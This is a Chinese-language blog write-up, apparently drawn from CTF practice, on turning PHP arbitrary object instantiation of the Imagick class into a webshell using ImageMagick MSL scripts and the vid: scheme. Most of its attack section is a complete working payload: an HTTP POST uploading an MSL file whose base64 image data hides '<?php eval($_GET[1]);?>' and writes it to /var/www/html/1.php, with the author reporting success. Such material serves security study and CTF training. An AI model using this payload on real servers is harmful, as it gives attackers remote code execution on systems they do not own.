前言
没想到吧哥们,imagickd也能写shell,真是学到了不少,下面会具体分析是如何写shell的
基础知识
Imagick类
参考官方手册https://www.php.net/manual/zh/class.imagick.php
重点关注他的构造方法
(PECL imagick 2, PECL imagick 3)
Imagick::__construct — The Imagick constructor
关注一下参数
files
The path to an image to load or an array of paths. Paths can include wildcards for file names, or can be URLs.
就是能够加载图片,甚至可以是远程的图片
我们尝试一手,当然我这里就不尝试了,因为这还不是重点,给个连接
https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/
原作者是这样说的
我测试了它是否 Imagick::__construct
接受远程方案并且可以通过 HTTP 连接到我的主机:
可以看到是可以的
我们自己尝试一下,首先构造如下的请求
http://192.168.177.146:8080/?a=Imagick&b=http://ip/test.svg
MSL脚本语言
可以参考一下官方的文档
重点是一些特殊的标签
READ
<read filename="image.gif" />
<read filename="image.png />
<read>
标签用于从磁盘文件中读取一个或多个图像。它的作用是加载图像数据,以便后续可以在脚本中进行处理或操作。以下是一些关键方面:
- 属性
filename
:这个属性指定要读取的图像文件的路径和名称。 - 多图像读取:可以使用多个
<read>
标签来读取多个图像文件。这在处理多帧图像(如 GIF 或 TIFF 文件)时非常有用。
WRITE
<write>
标签用于将图像数据写入磁盘。它可以将当前图像或图像集合保存为文件。这是处理图像后保存结果的关键步骤。
- 属性
filename
:指定写入文件的名称和格式。您可以指定输出文件的格式,如 TIFF、PNG、JPEG 等。
示例:
<write filename="image.tiff" />
这个示例将当前图像数据保存为名为 image.tiff
的 TIFF 文件。
发现是可以读写文件了,但是都是图片类想关的文件
vid协议
这个是ImageMagick中的一个协议,根据https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/师傅的发现
ExpandFilenames 的调用意味着 VID 方案接受掩码,并使用它们构建文件路径。
因此,通过使用该vid:
方案,我们可以将临时文件与 MSL 内容一起包含进去,而不需要知道它的名称
意思是可以包含文件,但是不能知道名称的话我们就可以使用vid协议去解决
webshell构造
根据上面的知识,我们可以思考一下应该如何构造webshell
首先我们需要能够控制临时文件的内容
而当我们使用msl脚本的时候,就可以写临时文件
不过我们知道只能写图片类型的文件小问题,因为我们只需要向图片里面加入我们的脏数据就好了
可以参考ciscn2022的backdoor的题目
其中构造了如下的脚本
--------------------------c32aaddf3d8fd979
Content-Disposition: form-data; name="swarm"; filename="swarm.msl"
Content-Type: application/octet-stream
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="inline:data://image/x-portable-anymap;base64,UDYKOSA5CjI1NQoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADw/cGhwIGV2YWwoJF9HRVRbMV0pOz8+fE86ODoiYmFja2Rvb3IiOjI6e3M6NDoicGF0aCI7czoxNDoiL3RtcC9zZXNzX2Fma2wiO3M6MTI6ImRvX2V4ZWNfZnVuYyI7YjowO30=" />
<write filename="/tmp/sess_afkl" />
</image>
--------------------------c32aaddf3d8fd979--
data://image/x-portable-anymap;base64,UDYKOSA5CjI1NQoAAAAAAAA
- 该字符串的开头部分
data:image/x-portable-anymap;base64,
表示这是一种特定格式的图像(PCX 格式)。而后面的内容是图像的 Base64 编码数据,这种数据经过编码以便嵌入和传输。
然后使用write标签写文件,这里
我们写入文件到html目录下
稍微修改上面的脚本
这里我就不修改文件内容了,解码出来就是
因为文件头检验有点麻烦
只需要包含我们的恶意内容就ok了
因为脚本加载的时候会产生一个内容可以控制的临时文件,然后我们可以去包含它,使用msl脚本去加载内容,因为write标签就会把我们的内容写到指定的目录
payload如下
POST /?a=Imagick&b=vid:msl:/tmp/php* HTTP/1.1
Host: 192.168.177.146:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
Content-Type: multipart/form-data; boundary=------------------------c32aaddf3d8fd979
Content-Length: 710
--------------------------c32aaddf3d8fd979
Content-Disposition: form-data; name="swarm"; filename="swarm.msl"
Content-Type: application/octet-stream
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="inline:data://image/x-portable-anymap;base64,UDYKOSA5CjI1NQoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADw/cGhwIGV2YWwoJF9HRVRbMV0pOz8+fE86ODoiYmFja2Rvb3IiOjI6e3M6NDoicGF0aCI7czoxNDoiL3RtcC9zZXNzX2Fma2wiO3M6MTI6ImRvX2V4ZWNfZnVuYyI7YjowO30=" />
<write filename="/var/www/html/1.php" />
</image>
--------------------------c32aaddf3d8fd979--
可以看到已经成功写入了,我们试一试
写入webshell成功